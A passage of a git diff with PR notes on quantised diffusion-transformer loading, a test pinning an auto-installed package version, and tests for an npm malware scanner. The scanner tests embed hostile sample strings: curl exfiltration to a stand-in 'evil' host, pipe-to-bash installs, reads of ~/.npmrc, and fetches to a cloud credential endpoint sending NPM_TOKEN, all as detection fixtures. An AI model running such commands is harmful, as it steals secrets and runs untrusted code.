+3. compiles the repeated block (existing Phase 7 regional compile), then applies placement — so the order is **quantize -> compile -> offload**.
+
+`auto` picks the best scheme for the GPU via a real quantise+matmul **smoke probe** (Blackwell fp8 -> nvfp4 -> mxfp8 -> int8; Ada/Hopper fp8 -> int8; Ampere int8). An explicit scheme is honored only if supported, never silently swapped. **Any** failure (unsupported arch/scheme, OOM, partial quant, or the dense weights not fitting resident) falls back to the GGUF build with a logged reason — the default path cannot regress.
+
+A `min_features=512` filter skips the tiny timestep/pooled/modulation projections: the int8 path uses `torch._int_mm`, which requires activation rows M>16, and those projections run at M=1 and crash it (measured: 239/276 Z-Image linears quantised, full speedup, no crash).
+
+## Design
+
+- New module `core/inference/diffusion_transformer_quant.py` mirrors `diffusion_precision.py` (the text-encoder quant module): pure functions, torch/torchao imported lazily, best-effort, hermetic CPU tests. It owns scheme selection + the arch/capability/smoke probe + the `quantize_` call.
+- `diffusion.py` `load_pipeline` gains the source-branch (dense+quant or GGUF), the VRAM preflight (reuses `plan_diffusion_memory` / `estimate_gguf_dense_mib`), and the fallback. `transformer_quant` threads through `begin_load` / `_LoadState` / `status()` exactly like `text_encoder_quant`.
+- Flag surface mirrors `text_encoder_quant`: request + status models in `models/inference.py`, forwarded in `routes/inference.py`.
+- torchao tensors are not safetensors-serializable; this backend is inference-only, so the engaged transformer carries a diagnostic runtime marker but there is no save path to guard.
+
+Blackwell nvfp4/mxfp8 are wired but `auto` deliberately lands on fp8. NVFP4 is a torchao feature (torch core only provides the `float4_e2m1fn_x2` primitive, not a quantization workflow). It was validated both on this box's torch 2.9 (no FP4 kernel: torchao prints "Skipping import of cpp extensions ... upgrade to torch >= 2.11", so it dequantises FP4->bf16 and runs at bf16-compile rate) and in an isolated torch 2.11.0 + torchao CUTLASS env where the FP4 GEMM is genuinely live -- a 16384^3 GEMM hits ~3826 TFLOPS (2.52x bf16, 1.37x fp8). The catch is shape: the DiT's linears (hidden ~3072, MLP ~12288, M~4096) sit below the crossover where FP4 compute beats fp8, so end-to-end on Z-Image 1024px NVFP4 is **slower (0.81x fp8) and less accurate (LPIPS 0.166 vs fp8's 0.044)** even with the fast kernel. So the Blackwell `auto` ladder puts fp8 ahead of nvfp4 (nvfp4 stays an explicit opt-in); the NVFP4 triton path also still requires MSLK (repo unavailable), while the CUTLASS path is the real one. See `scripts/nvfp4_probe.py` (torch 2.9) and `scripts/nvfp4_t211_probe.py` (torch 2.11 micro + e2e).
+
+## Measured through the backend (single B200, Z-Image-Turbo, 1024x1024, 8 steps, seed 12345)
+
+End to end through `DiffusionBackend` via `scripts/diffusion_bench.py`. LPIPS vs the dense bf16 reference is from `scripts/quant_probe.py` (the standalone lever probe).
+
+| `transformer_quant` | engaged scheme | median/gen | vs GGUF | load VRAM | gen VRAM | LPIPS |
+| --- | --- | --- | --- | --- | --- | --- |
+| (unset) GGUF + compile | none | 0.823 s | reference | 13.4 GB | 15.3 GB | 0.083 |
+| `auto` | fp8 | **0.614 s** | **1.34x** | 20.9 GB | 16.5 GB | 0.058 |
+| `int8` | int8 | 0.626 s | 1.32x | 20.9 GB | 16.5 GB | 0.069 |
+| `mxfp8` | mxfp8 | 0.651 s | 1.26x | 21.3 GB | 16.7 GB | n/m |
+
+`auto` selects fp8 on this B200 (nvfp4 smoke-fails on torch 2.9 -> the ladder prefers the measured-faster fp8 over mxfp8). The speed-for-memory trade is explicit: the dense bf16 load peaks ~21 GB vs GGUF's 13.4 GB; resident generation VRAM is close (16.5 vs 15.3 GB). Every engaged scheme is faster than GGUF *and* lands below its 0.083 LPIPS floor.
+
+## Tests
+
+CPU-only, hermetic (torch / torchao stubbed via `sys.modules`):
+- new `tests/test_diffusion_transformer_quant.py` — normalisation, the arch-selection ladder (Ampere int8 / Ada-Hopper fp8 / Blackwell fp8->nvfp4->mxfp8 fallback / pre-Ampere none / explicit-unsupported none), the smoke-probe cache + tolerance, the feature filter, and the apply path (calls `quantize_` with a filter_fn, sets the marker, tolerates failure).
+- extended `tests/test_diffusion_backend.py` — default load skips the dense path; the dense path engages and reports the scheme; a quant failure falls back to GGUF; the path is skipped when the plan would offload.
+- extended `tests/test_diffusion_routes.py` — the flag threads through to `begin_load` and an invalid enum is a 422.
+
+`scripts/diffusion_bench.py` gains `--transformer-quant` (through-the-backend benchmark + regression guard); `scripts/quant_probe.py` is the standalone torchao lever probe (latency + PSNR + LPIPS + VRAM vs the dense reference, with the `--min-feat` filter).
+
+
diff --git a/temp/phase9_pr_body.md b/temp/phase9_pr_body.md
new file mode 100644
index 0000000000..77d9eb0ab6
--- /dev/null
+++ b/temp/phase9_pr_body.md
@@ -0,0 +1,83 @@
+## Summary
+
+Pre-quantized transformer loading for the Studio diffusion fast path: load an
+already-quantized transformer checkpoint instead of materialising the dense bf16 and
+quantising it on the GPU. Stacked on the Phase 8 fast-transformer pass (#6694).
+
+The Phase 8 `transformer_quant` mode is fast, but its one cost is load memory + download:
+it loads the **dense bf16** transformer onto the GPU and torchao-`quantize_`s it in place,
+so the load peak is ~2x GGUF's and it pulls the full bf16 weights. Pre-quantizing fixes
+both. Quantise once offline, then at runtime build the transformer skeleton on the **meta**
+device (`accelerate.init_empty_weights`) and `load_state_dict(assign=True)` the quantized
+weights, so the dense bf16 never touches the GPU.
+
+Measured on a B200 (Z-Image-Turbo, fp8, 1024px / 8 steps), through the real loader:
+
+| path | GPU load peak (full pipeline) | on-disk | output |
+| --- | --- | --- | --- |
+| runtime (dense `from_pretrained` -> `quantize_transformer`) | 21.2 GB | ~12 GB bf16 | reference |
+| **pre-quantized (`load_prequantized_transformer`)** | **14.6 GB** | **6.28 GB** | **LPIPS 0.0** |
+
+The fast mode's load peak drops to essentially GGUF's 13.4 GB, the download halves, and the
+output is bit-identical, because it is the exact same torchao config + `min_features` filter
+the runtime path uses, applied ahead of time (the isolated transformer load peak is 12.9 ->
+6.3 GB; the 14.6 GB above includes the resident text encoder + VAE both paths load).
+
+## What it does
+
+`_load_dense_quant_pipeline` now tries a pre-quantized source first, then falls back:
+
+1. **pre-quantized** -- if a checkpoint is configured for the resolved scheme (an explicit
+ `transformer_prequant_path`, or the family's hosted repo), `load_prequantized_transformer`
+ builds the skeleton on meta and assigns the quantized state dict in, then places it;
+2. **dense + quantise** (the Phase 8 path, unchanged) if no checkpoint is available or its
+ load fails;
+3. **GGUF** if quantisation itself is unsupported.
+
+So with nothing configured the behaviour is exactly Phase 8. Hosting of checkpoints is
+deferred: `DiffusionFamily.prequant_repos` ships empty and the new request field defaults
+null, so this is inert until a checkpoint is built/configured.
+
+## Design
+
+- New `core/inference/diffusion_prequant.py` mirrors the sibling quant modules (pure
+ functions, torch / accelerate / huggingface_hub imported lazily, best-effort, hermetic CPU
+ tests). `resolve_prequant_source` (priority: explicit path -> family repo -> none) and
+ `load_prequantized_transformer` (meta-init + `load_state_dict(assign=True)` + metadata
+ validation + place + the same `_unsloth_runtime_quant` marker). Any missing / mismatched /
+ unreadable checkpoint returns None and the caller falls back -- the default cannot regress.
+- The checkpoint is `{"format", "metadata", "state_dict"}` saved with `torch.save`. torchao
+ weight subclasses are not safetensors-serializable, so loading uses `weights_only=False`;
+ only a configured first-party family repo or an explicit local path reaches that, which is
+ the trust signal (no arbitrary remote pickle). The `PrequantSource.kind` enum leaves room
+ for a diffusers-native `TorchAoConfig` artifact later.
+- `scripts/build_prequant_checkpoint.py` builds (and optionally uploads) a checkpoint,
+ importing the runtime quant factory (`_make_quant_config` / `make_filter_fn`) so the
+ offline artifact is identical to on-the-fly quantisation (the LPIPS-0 invariant).
+- Flag surface: `DiffusionLoadRequest.transformer_prequant_path`, forwarded through the
+ route / `begin_load` / `load_pipeline` exactly like `transformer_quant`. `status()` already
+ reports the engaged scheme, so no status-model change.
+
+## Tests
+
+CPU-only, hermetic (torch / accelerate / huggingface_hub stubbed via `sys.modules`):
+- new `tests/test_diffusion_prequant.py` -- the resolver (path override wins / family repo by
+ scheme / wrong scheme / nothing configured), and the loader (meta-init + `assign=True`,
+ never the dense `from_pretrained`, sets the marker; format / scheme / base mismatch, a
+ raising `torch.load`, and a missing file each return None).
+- extended `tests/test_diffusion_backend.py` -- the pre-quant branch engages (no dense load,
+ no `quantize_transformer`), and a failed pre-quant load falls back to the dense path.
+- extended `tests/test_diffusion_routes.py` -- `transformer_prequant_path` threads through to
+ `begin_load`.
+
+GPU verification: `scripts/build_prequant_checkpoint.py` then
+`scripts/verify_prequant_backend.py` (the table above), and `scripts/prequant_probe.py` (the
+original meta-init + assign measurement).
+
+## Scope / notes
+
+- Default unchanged: families ship `prequant_repos=()` and the request field defaults null.
+- The VRAM preflight still estimates the dense size, so the resident gate stays conservative
+ (a box that fits the pre-quant but not the dense load still falls back to GGUF). A follow-up
+ can lower the estimate when a pre-quant source resolves.
+- GPU-verified on Z-Image / fp8; Flux / Qwen and int8 are wired but unverified -> flagged.
diff --git a/tests/saving/test_llm_compressor_install_pin.py b/tests/saving/test_llm_compressor_install_pin.py
new file mode 100644
index 0000000000..c2ddfb14e2
--- /dev/null
+++ b/tests/saving/test_llm_compressor_install_pin.py
@@ -0,0 +1,112 @@
+"""Static guards (no import/network/GPU, like test_save_shell_injection.py) that
+install_llm_compressor()'s first-use auto-install of llm-compressor stays version-pinned to a vetted
+range and keeps its opt-out env gate, so a compromised/inflated release can't be auto-pulled."""
+
+from __future__ import annotations
+
+import ast
+from pathlib import Path
+
+SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
+
+_ENV_FLAG = "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL"
+
+
+def _module() -> ast.Module:
+ return ast.parse(SAVE_PY.read_text(encoding = "utf-8"), filename = str(SAVE_PY))
+
+
+def _get_function(name: str) -> ast.FunctionDef:
+ for node in ast.walk(_module()):
+ if isinstance(node, ast.FunctionDef) and node.name == name:
+ return node
+ raise AssertionError(f"Function {name} not found in save.py")
+
+
+def _spec_value():
+ for node in ast.walk(_module()):
+ if isinstance(node, ast.Assign) and isinstance(node.value, ast.Constant):
+ if any(
+ isinstance(t, ast.Name) and t.id == "_LLM_COMPRESSOR_SPEC" for t in node.targets
+ ):
+ return node.value.value
+ return None
+
+
+def _first_lineno(fn: ast.AST, predicate) -> int | None:
+ lines = [n.lineno for n in ast.walk(fn) if predicate(n) and hasattr(n, "lineno")]
+ return min(lines) if lines else None
+
+
+def test_spec_is_a_bounded_pin() -> None:
+ spec = _spec_value()
+ assert spec is not None, "_LLM_COMPRESSOR_SPEC must be defined at module scope"
+ assert "llmcompressor" in spec, f"spec must name llmcompressor, got {spec!r}"
+ # A lower and an upper bound: pip cannot jump to an arbitrary (e.g. inflated) future release.
+ assert ">=" in spec and "<" in spec, f"spec must have lower and upper bounds, got {spec!r}"
+
+
+def test_ceiling_blocks_inflated_versions() -> None:
+ """Cap to the exact vetted patch: block an inflated 0.x, a new major, and any higher in-range patch."""
+ from packaging.requirements import Requirement
+
+ spec = Requirement(_spec_value()).specifier
+ assert spec.contains("0.12.0"), "the current vetted release must resolve"
+ assert not spec.contains("0.999.0"), "an inflated 0.x must be blocked"
+ assert not spec.contains("1.0.0"), "a new major must not be auto-installed"
+ assert not spec.contains(
+ "0.12.1"
+ ), "a higher in-range patch must be blocked (cap to the vetted patch)"
+ assert not spec.contains(
+ "0.12.999"
+ ), "a crafted higher in-range patch (e.g. on a mirror) must be blocked"
+
+
+def test_floor_stays_compatible_with_supported_torch() -> None:
+ """Floor must stay <=0.6.0: 0.7+ need torch>=2.7, but the pinned torch can be as old as 2.4."""
+ from packaging.requirements import Requirement
+ from packaging.version import Version
+
+ req = Requirement(_spec_value())
+ lowers = [Version(s.version) for s in req.specifier if s.operator in (">=", "==", "~=")]
+ assert lowers, "spec must declare a lower bound"
+ assert max(lowers) <= Version("0.6.0"), (
+ f"floor {max(lowers)} requires a torch newer than Unsloth's minimum (2.4); "
+ "llm-compressor >0.6.0 needs torch>=2.7. Keep the floor <= 0.6.0."
+ )
+
+
+def test_install_command_uses_pinned_spec_not_bare_name() -> None:
+ fn = _get_function("install_llm_compressor")
+ # No argv list may pass the bare, unpinned package literal "llmcompressor".
+ for node in ast.walk(fn):
+ if isinstance(node, ast.List):
+ for elt in node.elts:
+ if isinstance(elt, ast.Constant) and elt.value == "llmcompressor":
+ raise AssertionError(
+ "install command must not pass an unpinned 'llmcompressor' literal; "
+ "use the bounded _LLM_COMPRESSOR_SPEC"
+ )
+ names = {n.id for n in ast.walk(fn) if isinstance(n, ast.Name)}
+ assert "_LLM_COMPRESSOR_SPEC" in names, "install command must reference _LLM_COMPRESSOR_SPEC"
+
+
+def test_optout_env_gate_precedes_subprocess_install() -> None:
+ fn = _get_function("install_llm_compressor")
+ env_line = _first_lineno(fn, lambda n: isinstance(n, ast.Constant) and n.value == _ENV_FLAG)
+ assert env_line is not None, f"{_ENV_FLAG} opt-out must be checked in install_llm_compressor"
+
+ def _is_check_call(n: ast.AST) -> bool:
+ return (
+ isinstance(n, ast.Call)
+ and isinstance(n.func, ast.Attribute)
+ and n.func.attr == "check_call"
+ and isinstance(n.func.value, ast.Name)
+ and n.func.value.id == "subprocess"
+ )
+
+ install_line = _first_lineno(fn, _is_check_call)
+ assert install_line is not None, "expected a subprocess.check_call install in the function"
+ assert (
+ env_line < install_line
+ ), "the auto-install opt-out must be evaluated before any package install runs"
diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py
index ec9af37785..35a34e2834 100644
--- a/tests/security/test_scan_npm_packages.py
+++ b/tests/security/test_scan_npm_packages.py
@@ -328,8 +328,9 @@ def _finding(
fn,
pattern,
sev = snp.HIGH,
+ evidence = "",
):
- return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern)
+ return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence)
def test_norm_pkg_name_strips_version_keeps_scope():
@@ -394,11 +395,486 @@ def test_write_then_load_baseline_roundtrip(tmp_path):
n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
assert n == 1 # dedup + MEDIUM excluded
keys = snp._load_baseline(str(bl))
- assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys
+ assert snp._finding_key(findings[0]) in keys
# MEDIUM below HIGH threshold -> not written.
assert all(k[2] != "js-env-token" for k in keys)
+def test_baseline_reopens_on_changed_evidence(tmp_path):
+ # Same package/file/pattern but changed flagged code must reopen: the key now
+ # includes an evidence hash, so a new payload cannot ride a reviewed entry.
+ bl = tmp_path / "bl.json"
+ listed = _finding(
+ "left-pad@1.0.0", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
+ )
+ snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH])
+ baseline = snp._load_baseline(str(bl))
+
+ # The reviewed finding stays suppressed across a version bump (same evidence).
+ same = _finding(
+ "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
+ )
+ # A changed payload under the same package/file/pattern stays active.
+ changed = _finding(
+ "left-pad@9.9.9",
+ "package/dist/index.js",
+ "obfuscated-blob",
+ evidence = "fetch('http://evil')",
+ )
+ active, suppressed = snp._partition_baseline([same, changed], baseline)
+ assert same in suppressed
+ assert changed in active
+
+
+def test_obfuscated_blob_key_reopens_on_changed_tail():
+ # A large blob's evidence hash binds the full match (via a digest when the
+ # snippet is truncated), so changing only the payload tail reopens the key.
+ pkg = snp.PackageEntry(
+ name = "evil",
+ version = "1.0.0",
+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+ integrity = "sha512-test",
+ lockfile_key = "node_modules/evil",
+ )
+ head = "A" * 2300
+ old = f'eval("{head}{"B" * 300}")'
+ new = f'eval("{head}{"C" * 300}")'
+ of = [
+ f
+ for f in snp.scan_text_blob(pkg, "package/index.js", old)
+ if f.pattern == "obfuscated-blob"
+ ][0]
+ nf = [
+ f
+ for f in snp.scan_text_blob(pkg, "package/index.js", new)
+ if f.pattern == "obfuscated-blob"
+ ][0]
+ assert "sha256:" in of.evidence
+ assert of.evidence != nf.evidence
+ assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_js_fetch_eval_payload_tail_reopens_key():
+ # The js-fetch-eval evidence digests the full containing line when the shown
+ # window truncates it, so a changed payload tail beyond the window reopens
+ # the key instead of riding the unchanged decoder head.
+ pkg = snp.PackageEntry(
+ name = "evil",
+ version = "1.0.0",
+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+ integrity = "sha512-test",
+ lockfile_key = "node_modules/evil",
+ )
+ head = "A" * 40
+ old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n"
+ new = "(0,eval)(atob('" + head + "Y" * 80 + "'))\n"
+ of = [
+ f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval"
+ ][0]
+ nf = [
+ f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval"
+ ][0]
+ assert "sha256:" in of.evidence
+ assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_outbound_host_multiline_options_reopen():
+ # A multi-line outbound call binds its option/header lines, so changing the
+ # headers/body on a continuation line reopens the cred-surface-host key.
+ pkg = snp.PackageEntry(
+ name = "evil",
+ version = "1.0.0",
+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+ integrity = "sha512-test",
+ lockfile_key = "node_modules/evil",
+ )
+ url = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role',\n"
+ old = url + " {headers: {a: 'old'}})\n"
+ new = url + " {headers: {a: 'evil', token: process.env.NPM_TOKEN}})\n"
+ of = [
+ f
+ for f in snp.scan_text_blob(pkg, "package/index.js", old)
+ if f.pattern == "cred-surface-host (outbound)"
+ ][0]
+ nf = [
+ f
+ for f in snp.scan_text_blob(pkg, "package/index.js", new)
+ if f.pattern == "cred-surface-host (outbound)"
+ ][0]
+ assert "sha256:" in of.evidence
+ assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_outbound_host_config_multiline_object_reopens():
+ # A host-config object whose `{` is on a prior line still binds the whole
+ # object, so changing the path/headers on a following line reopens the key
+ # rather than riding the unchanged hostname line.
+ pkg = snp.PackageEntry(
+ name = "evil",
+ version = "1.0.0",
+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+ integrity = "sha512-test",
+ lockfile_key = "node_modules/evil",
+ )
+ obj = (
+ "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nhttps.request(opts);\n"
+ )
+ old = obj % "/latest/meta-data/iam/security-credentials/old"
+ new = obj % "/latest/meta-data/iam/security-credentials/evil"
+ of = [
+ f
+ for f in snp.scan_text_blob(pkg, "package/index.js", old)
+ if f.pattern == "cred-surface-host (outbound)"
+ ][0]
+ nf = [
+ f
+ for f in snp.scan_text_blob(pkg, "package/index.js", new)
+ if f.pattern == "cred-surface-host (outbound)"
+ ][0]
+ assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def _host_config_pkg():
+ return snp.PackageEntry(
+ name = "evil",
+ version = "1.0.0",
+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+ integrity = "sha512-test",
+ lockfile_key = "node_modules/evil",
+ )
+
+
+def _host_finding(text):
+ return [
+ f
+ for f in snp.scan_text_blob(_host_config_pkg(), "package/index.js", text)
+ if f.pattern == "cred-surface-host (outbound)"
+ ][0]
+
+
+def test_outbound_host_config_long_object_binds_tail():
+ # A config object longer than the backward window still binds its tail, so a
+ # changed payload line well below the hostname reopens (not truncated away).
+ filler = "\n".join(f" opt{i}: {i}," for i in range(30))
+ obj = (
+ "const opts = {\n hostname: '169.254.169.254',\n"
+ + filler
+ + "\n path: '%s',\n};\nrun(opts);\n"
+ )
+ assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+ _host_finding(obj % "/evil")
+ )
+
+
+def test_outbound_host_config_far_opener_binds():
+ # The enclosing object's opener can sit well above the hostname line (a large
+ # options object whose `{` is many properties back). The backward scan must
+ # still reach it so a payload changed on an earlier property of the same object
+ # reopens, not just a change on the hostname line itself.
+ above = "\n".join(f" opt{i}: {i}," for i in range(20))
+ obj = (
+ "const opts = {\n"
+ + above
+ + "\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
+ )
+ changed = obj.replace("opt0: 0,", "opt0: 999,")
+ assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed))
+
+
+def test_outbound_host_config_forward_cap_measured_from_match():
+ # With the opener near the backward-search limit, the forward group cap must be
+ # measured from the matched hostname line, not the opener, so the path that
+ # follows the hostname is still bound and a changed payload there reopens.
+ above = "\n".join(f" opt{i}: {i}," for i in range(198))
+ obj = (
+ "const opts = {\n"
+ + above
+ + "\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
+ )
+ assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+ _host_finding(obj % "/evil")
+ )
+
+
+def test_outbound_host_multiple_contexts_all_bind():
+ # The same contextual host can appear in more than one outbound form. Adding a
+ # separate host-config request beside an already-present URL for that host must
+ # reopen the key, not ride the unchanged URL evidence.
+ base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n"
+ extra = "https.request({\n hostname: '169.254.169.254',\n path: '/evil',\n});\n"
+ assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra))
+
+
+def test_outbound_host_config_opener_after_unmatched_closer_binds():
+ # A leading unmatched `}` from a preceding block (its opener outside the
+ # backward window) must not drive depth negative and mask the host-config
+ # opener that follows; the object should still bind so a changed path reopens.
+ pre = "callback(arg);\n});\n" # stray closer; the matching opener is out of view
+ obj = pre + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
+ assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+ _host_finding(obj % "/evil")
+ )
+
+
+def test_outbound_host_config_close_then_open_same_line_binds():
+ # Stronger than the previous case: the unmatched closer and the host-config
+ # opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count
+ # nets that line to <= 0 and drops the trailing `{`, so the group would start at
+ # the hostname line and a changed path could ride the unchanged-hostname key.
+ # Order-aware reduction keeps the opener, so the path binds and a change reopens.
+ obj = "}); const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
+ assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+ _host_finding(obj % "/evil")
+ )
+
+
+def test_outbound_host_multiline_template_literal_reopens():
+ # A ) inside a multi-line backtick template literal must not close the call
+ # early; the options object after the template binds, so a changed header
+ # reopens rather than riding the unchanged host (a per-line string blanker
+ # cannot mask a template literal that spans lines).
+ old = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'old'},\n});\n"
+ new = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'evil'},\n});\n"
+ assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
+
+
+def test_cred_env_lifecycle_binds_whole_body():
+ # cred-env-in-lifecycle evidence pins the whole script body, so a changed
+ # non-token line (echo safe -> curl exfil) reopens even with the token line
+ # unchanged.
+ def life(body):
+ pkg = snp.PackageEntry(
+ name = "e",
+ version = "1.0.0",
+ resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
+ integrity = "sha512-x",
+ lockfile_key = "node_modules/e",
+ )
+ text = json.dumps({"scripts": {"postinstall": body}})
+ return [
+ f
+ for f in snp.scan_package_json(pkg, "package/package.json", text)
+ if "cred-env-in-lifecycle" in f.pattern
+ ][0]
+
+ safe = life("node -e 'console.log(process.env.NPM_TOKEN)'; echo safe")
+ evil = life("node -e 'console.log(process.env.NPM_TOKEN)'; curl -d x https://evil")
+ assert "body-sha256:" in safe.evidence
+ assert snp._finding_key(safe) != snp._finding_key(evil)
+
+
+def _lifecycle_finding(body, frag):
+ pkg = snp.PackageEntry(
+ name = "e",
+ version = "1.0.0",
+ resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
+ integrity = "sha512-x",
+ lockfile_key = "node_modules/e",
+ )
+ text = json.dumps({"scripts": {"postinstall": body}})
+ return [
+ f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern
+ ][0]
+
+
+def test_lifecycle_fetch_exec_bounds_body_but_reopens():
+ # The whole install script is bound by a digest, but the stored evidence is a
+ # bounded matched snippet plus that digest, not the full body, so writing the
+ # baseline on a multi-KiB install script stays small while a change to any line
+ # (even far below the fetch-exec line) reopens the finding.
+ pad = "# pad\n" * 5000
+ old = "curl https://x.sh | bash\n" + pad + "echo done_old"
+ new = "curl https://x.sh | bash\n" + pad + "echo done_evil"
+ of = _lifecycle_finding(old, "lifecycle-fetch-exec")
+ nf = _lifecycle_finding(new, "lifecycle-fetch-exec")
+ assert "body-sha256:" in of.evidence
+ assert len(of.evidence) < len(old) # snippet + digest, not the whole body
+ assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_cred_path_lifecycle_bounds_body_but_reopens():
+ # cred-path-in-lifecycle is bounded the same way: a snippet around the matched
+ # credential path plus the whole-body digest, so a far-line change reopens
+ # without storing the entire script body in the baseline.
+ pad = "# pad\n" * 5000
+ old = "cat ~/.npmrc\n" + pad + "echo old"
+ new = "cat ~/.npmrc\n" + pad + "echo evil"
+ of = _lifecycle_finding(old, "cred-path-in-lifecycle")
+ nf = _lifecycle_finding(new, "cred-path-in-lifecycle")
+ assert "body-sha256:" in of.evidence
+ assert len(of.evidence) < len(old)
+ assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_outbound_host_regex_literal_does_not_close_group_early():
+ # A ) inside a JS regex literal must not close the outbound call early; the
+ # options object after the regex binds, so a changed header reopens.
+ old = "request('http://169.254.169.254', /)/, {\n headers: {a: 'old'},\n});\n"
+ new = old.replace("old", "evil")
+ assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
+
+
+def test_evidence_overflow_binds_context_and_counts_all_matches():
+ # Every match past the display cap is still counted in the overflow digest AND
+ # bound by its logical-line context, so changing the payload on an over-cap line
+ # reopens (the digest is not just the regex match text, and the iterator is not
+ # truncated before reaching it).
+ n = snp._MAX_EVIDENCE_MATCHES
+ mk = lambda which: "".join(
+ f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n"
+ for i in range(n + 5)
+ )
+ e1 = snp._evidence(mk(False), snp._JS_ENV_TOKEN)
+ e2 = snp._evidence(mk(True), snp._JS_ENV_TOKEN)
+ assert "more) sha256:" in e1
+ assert snp._evidence_hash(e1) != snp._evidence_hash(e2)
+
+
+def test_evidence_caps_match_count_with_digest_remainder():
+ # Past _MAX_EVIDENCE_MATCHES the evidence folds the remaining matches into one
+ # digest so a huge/minified file cannot build an unbounded evidence string,
+ # while a changed match count past the cap still reopens.
+ over = snp._MAX_EVIDENCE_MATCHES + 20
+ base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over))
+ ev = snp._evidence(base, snp._JS_ENV_TOKEN)
+ assert "more) sha256:" in ev
+ assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # bounded, not `over` spans
+ less = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1))
+ assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN))
+
+
+def test_evidence_streams_overflow_count_is_exact():
+ # The overflow matches are streamed from finditer (not collected into a list
+ # before the cap), so the "(+N more)" count must still equal the exact number of
+ # matches past the display cap for a large input, and the shown spans stay
+ # bounded to the cap.
+ extra = 1000
+ total = snp._MAX_EVIDENCE_MATCHES + extra
+ body = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(total))
+ ev = snp._evidence(body, snp._JS_ENV_TOKEN)
+ import re as _re
+
+ m = _re.search(r"\(\+(\d+) more\)", ev)
+ assert m and int(m.group(1)) == extra # every over-cap match counted
+ assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # display stays bounded
+
+
+def _ioc_pkg():
+ return snp.PackageEntry(
+ name = "evil",
+ version = "1.0.0",
+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+ integrity = "sha512-x",
+ lockfile_key = "node_modules/evil",
+ )
+
+
+def test_known_ioc_evidence_binds_context_not_bare_needle():
+ # A known-ioc-string finding keys on the matched-line context, not the bare
+ # constant, so a changed adjacent fetch/exfil body on the same call reopens
+ # while the IOC needle stays in place.
+ ioc = next(iter(snp.KNOWN_IOC_STRINGS))
+ old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n"
+ new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n"
+
+ def key(text):
+ return [
+ snp._finding_key(f)
+ for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
+ if f.pattern == "known-ioc-string"
+ ][0]
+
+ assert key(old) != key(new)
+
+
+def test_always_bad_host_evidence_binds_outbound_context():
+ # cred-surface-host (always-bad) binds the outbound call context, so altering
+ # the exfil body on the same call reopens the key instead of riding the bare
+ # host literal.
+ host = snp.CRED_HOST_ALWAYS_BAD[0][0]
+ old = f"fetch('https://{host}/x', {{body: secretOLD}})\n"
+ new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n"
+
+ def key(text):
+ return [
+ snp._finding_key(f)
+ for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
+ if f.pattern == "cred-surface-host (always-bad)"
+ ][0]
+
+ assert key(old) != key(new)
+
+
+def test_outbound_host_config_reindent_is_stable():
+ # A formatter-only reindent of the bound continuation lines must NOT change
+ # the key (whitespace is normalized before the logical-line digest).
